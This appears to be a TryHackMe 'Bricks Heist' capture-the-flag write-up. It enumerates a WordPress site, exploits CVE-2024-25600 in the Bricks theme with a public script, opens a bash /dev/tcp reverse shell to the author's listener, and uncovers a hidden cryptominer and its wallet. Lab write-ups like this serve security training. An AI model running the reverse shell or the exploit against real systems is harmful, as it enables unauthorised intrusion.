

Bricks Heist : TryHackMe

ip = "10.10.140.46"

Lets see what services and ports are open

```
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e1:8c:35:7c:14:e8:78:35:f3:57:fa:bd:90:30:04:55 (RSA)
|   256 ce:de:2d:9c:df:36:26:d5:66:ef:cea:24:82:b3:20 (ECDSA)
|_  256 f1:5c:ab:b6:4f:43:c5:fa:9c:d9:19:6f:d4:46:40:25 (ED25519)
80/tcp    open  http         WebSockify Python/3.8.10
|_ http-server-header: WebSockify Python/3.8.10
|_ http-title: Error response
|_ fingerprint-strings:
|   GetRequest:
|       HTTP/1.1 405 Method Not Allowed
|       Server: WebSockify Python/3.8.10
|       Date: Wed, 05 Jun 2024 14:24:14 GMT
|       Connection: close
|       Content-Type: text/html; charset=utf-8
|       Content-Length: 472
|       <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|       "http://www.w3.org/TR/html4/strict.dtd">
|       <html>
|       <head>
|       <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|       <title>Error response</title>
|       </head>
|       <body>
|       <h1>Error response</h1>
|       <p>Error code: 405</p>
|       <p>Message: Method Not Allowed.</p>
|       <p>Error code explanation: 405 - Specified method is invalid for this resource.</p>
|       </body>
|       </html>
|   HTTPOptions:
|       HTTP/1.1 501 Unsupported method ('OPTIONS')
|       Server: WebSockify Python/3.8.10
|       Date: Wed, 05 Jun 2024 14:24:15 GMT
|       Connection: close
|       Content-Type: text/html; charset=utf-8
|       Content-Length: 500
|       <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|       "http://www.w3.org/TR/html4/strict.dtd">
|       <html>
|       <head>
|       <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|       <title>Error response</title>
|       </head>
|       <body>
|       <h1>Error response</h1>
|       <p>Error code: 501</p>
|       <p>Message: Unsupported method ('OPTIONS').</p>
|       <p>Error code explanation: HTTPStatus.NOT_IMPLEMENTED - Server does not support this operation.</p>
|       </body>
|       </html>
|_
443/tcp   open  ssl/http     Apache httpd
```

I did dir enumeration for http but nothing showed up, so i moved on to https.

```
Starting OWASP DirBuster 1.0-RC1
Starting dir/file list based brute forcing
File found: /index.php - 301
Dir found: / - 200
File found: /login.php - 302
Dir found: /rss/ - 301
Dir found: /login/ - 302
File found: /rss/index.php - 301
File found: /login/index.php - 301
Dir found: /rss/rss/ - 301
Dir found: /login/rss/ - 301
File found: /login/rss/index.php - 301
File found: /rss/rss/index.php - 301
Dir found: /0/ - 200
Dir found: /feed/ - 200
File found: /0/index.php - 301
File found: /feed/index.php - 301
Dir found: /rss/rss/rss/ - 301
Dir found: /login/rss/rss/ - 301
File found: /rss/rss/rss/index.php - 301
File found: /login/rss/rss/index.php - 301
Dir found: /0/rss/ - 301
Dir found: /feed/rss/ - 301
File found: /0/rss/index.php - 301
File found: /feed/rss/index.php - 301
Dir found: /rss/rss/rss/rss/ - 301
Dir found: /login/rss/rss/rss/ - 301
File found: /rss/rss/rss/rss/index.php - 301
File found: /login/rss/rss/rss/index.php - 301
Dir found: /0/rss/rss/ - 301
Dir found: /feed/rss/rss/ - 301
Dir found: /login/feed/ - 200
File found: /feed/rss/rss/index.php - 301
Dir found: /rss/rss/rss/rss/rss/ - 301
File found: /login/feed/index.php - 301
Dir found: /rss/feed/ - 301
Dir found: /login/rss/rss/rss/rss/ - 301
File found: /rss/rss/rss/rss/rss/index.php - 301
File found: /rss/feed/index.php - 301
Dir found: /atom/rss/ - 301
File found: /login/rss/rss/rss/rss/index.php - 301
File found: /atom/rss/index.php - 301
Dir found: /login/feed/rss/ - 301
Dir found: /0/rss/rss/rss/ - 301
Dir found: /feed/rss/rss/rss/ - 301
File found: /login/feed/rss/index.php - 301
```

From the look of things, it looks like a wordpress application.

We can use wpscan to get info about the app

```
wpscan --url https://bricks.thm --disable-tls-checks

[+] robots.txt found: https://10.10.140.46/robots.txt
| Interesting Entries:
|   - /wp-admin/
|   - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
```

We get the wordpress theme in use and its version

```
[*] WordPress theme in use: bricks
| Location: https://bricks.thm/wp-content/themes/bricks/
| Readme: https://bricks.thm/wp-content/themes/bricks/readme.txt
| Style URL: https://bricks.thm/wp-content/themes/bricks/style.css
| Style Name: Bricks
| Style URI: https://bricksbuilder.io/
| Description: Visual website builder for WordPress....
| Author: Bricks
| Author URI: https://bricksbuilder.io/
| Found By: Urls In Homepage (Passive Detection)
| Confirmed By: Urls In 404 Page (Passive Detection)
|
| Version: 1.9.5 (80% confidence)
| Found By: Style (Passive Detection)
| - https://bricks.thm/wp-content/themes/bricks/style.css, Match: 'Version: 1.9.5'
```

Now its all the power of google. At first, all I was getting was unauthenticated remote code execution but I could not get it work(it was the one). That is when I stumbled upon a github repo and got a python script.

I created a virtual environment, installed all required packages, then ran the script. BOOOM! I got a shell

```
rich 13.7.1
setuptools 68.1.2
soupsieve 2.5
urllib3 2.2.1
wcwidth 0.2.13

--(ex)-(itsme@localhost)-[/tmp/ex]
$ python exploit.py --url https://10.10.140.46
[*] Notice found: 58365ec13
[*] https://10.10.140.46 is vulnerable to CVE-2024-25600, apache
[!] Shell is ready, please type your commands UwU
whoami
apache
```

For the fun of it I created a reverse shell.

```
bash -c 'bash -i >& /dev/tcp/10.4.69.161/1423 0>&1'
```

```
-(itsme@localhost)-[~]
$ nc -nlp 1423
listening on [any] 1423 ...
connect to [10.4.69.161] from (UNKNOWN) [10.10.140.46] 43890
bash: cannot set terminal process group (1339): Inappropriate ioctl for device
bash: no job control in this shell
apache@tryhackme:/data/www/default$ whoami
whoami
apache
apache@tryhackme:/data/www/default$ ls
ls
650c844110baced87e1606453b93f22a.txt
index.php
kod
license.txt
phpmyadmin
readme.html
wp-activate.php
wp-admin
wp-blog-header.php
wp-comments-post.php
wp-config-sample.php
wp-config.php
wp-content
wp-cron.php
wp-includes
wp-links-opml.php
wp-load.php
wp-login.php
wp-mail.php
wp-settings.php
wp-signup.php
wp-trackback.php
xmlrpc.php
apache@tryhackme:/data/www/default$ cat 650c844110baced87e1606453b93f22a.txt
cat 650c844110baced87e1606453b93f22a.txt
THM{f146_650c844110baced87e1606453b93f22a}
apache@tryhackme:/data/www/default$
```

We now need to check on the running services on the machine(suspicious one).

```
systemctl list-units --all --type=service --no-pager
● ubuntu-advantage-cloud-id-shim.service not-found inactive dead ubuntu-advantage-cloud-id-shim.service
● ubuntu-advantage.service loaded inactive dead Ubuntu Pro Background Auto Attach
● ubuntu.service loaded active running TRYHACKME
● udisksd.service loaded active running Disk Manager
● ufw.service loaded active exited Uncomplicated Firewall
● unattended-upgrades.service loaded active running Unattended Upgrades Shutdown
```

Now we can check, the running service and its state, we even get its PID

```
try: loaded units listed.
To show all installed unit files use 'systemctl list-unit-files'.
apache@tryhackme:/Lib/NetworkManager$ systemctl status ubuntu.service
systemctl status ubuntu.service
● ubuntu.service - TRIMMCK3W
   Loaded: loaded (/etc/systemd/system/ubuntu.service; enabled; vendor preset: enabled)
   Active: active (running) since Wed 2024-06-05 16:33:01 UTC; 656ms ago
     Main PID: 2980 (nm-inet-dialog)
        Tasks: 2 (limit: 4671)
       Memory: 30.6M
      CGroup: /system.slice/ubuntu.service
              └─2980 /Lib/NetworkManager/nm-inet-dialog
                 └─2981 /Lib/NetworkManager/nm-inet-dialog
apache@tryhackme:/Lib/NetworkManager$ ps -p 2980
ps -p 2980
    PID TTY          TIME CMD
   2980 ?        00:00:00 nm-inet-dialog
apache@tryhackme:/Lib/NetworkManager$ cd /Lib/NetworkManager/
cd /Lib/NetworkManager/
apache@tryhackme:/Lib/NetworkManager$ ls
ls
VPN
conf.d
dispatcher.d
inet.conf
nm-dhcp-helper
nm-dispatcher
nm-iface-helper
nm-inet-dialog
nm-initrd-generator
nm-openvpn-auth-dialog
nm-openvpn-service
nm-openvpn-service-openvpn-helper
nm-pptp-auth-dialog
nm-pptp-service
system-connections
apache@tryhackme:/Lib/NetworkManager$ head inet.conf
head inet.conf
ID: 5757314e65474e5962484a4f656d787457544e424e574648555446684d3070735930684b616c70555a7a566b52335276546b686b65575248647a525a57466f77546b64334d6b347a526d685a6255313459316873636b35366247315a4d304531595564476130355864486c6157454a3557544a564e4539595564e4a685246497a593235363303948526a4a6b52464a7a546d706b63466c525054303d
4539595564e4a685246497a593235363303948526a4a6b52464a7a546d706b63466c525054303d
2024-04-08 10:46:04,743 [*] confbak: Ready!
2024-04-08 10:46:04,743 [*] Status: Mining!
2024-04-08 10:46:08,745 [*] Miner()
2024-04-08 10:46:08,745 [*] Bitcoin Miner Thread Started
2024-04-08 10:46:08,745 [*] Status: Mining!
2024-04-08 10:46:10,747 [*] Miner()
2024-04-08 10:46:12,748 [*] Miner()
2024-04-08 10:46:14,751 [*] Miner()
2024-04-08 10:46:16,753 [*] Miner()
apache@tryhackme:/Lib/NetworkManager$
```

We now get an encoded string which we can the use cyberchef to decode it

Last build: 20 days ago - Version 10 is here! [Read about the new features here](#)

Options About / Support

Recipe

From Hex

Delimiter

Auto

From Base64

Alphabet

A - Z a - z 0 - 9 + / =

☒ Remove non-alphabet chars

☐ Strict mode

From Base64

Alphabet

A - Z a - z 0 - 9 + / =

☒ Remove non-alphabet chars

☐ Strict mode

Input

5757314e65474e5962484a4f656d787457544e424e574648555446684d3070735930684b616c70555a7a566b52335276546b686b65575248647a525a57466f77546b64334d6b347a526d685a6255313459316873636b35366247315a4d304531595564476130355864486c6157454a3557544a564e4539595564e4a685246497a593235363303948526a4a6b52464a7a546d706b65466c525054303d

Output

bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qabc1qyk79fcp9had5kreprce89tkh4wrtl8avt4l67qa

All is left is to google where we can get more info about the wallet.!!!!

/